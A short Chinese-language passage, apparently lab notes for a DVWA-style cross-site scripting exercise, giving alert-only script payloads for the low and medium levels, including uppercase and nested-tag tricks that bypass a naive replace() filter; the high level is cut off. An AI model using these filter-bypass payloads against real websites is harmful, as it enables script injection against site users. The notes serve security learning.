1.low 检查网站源码,发现没有对提交的数据进行过滤,直接输入 <script>alert(/xss/)</script> 2.medium replace()将<script>替换成null,由于对大小写敏感,可以将script大写 <SCRIPT>alert(/xss/)</SCRIPT> 由于只过滤了一次,也可以采用拼接的方式 <scr<script>ipt>alert(/xss/)</script> 3.high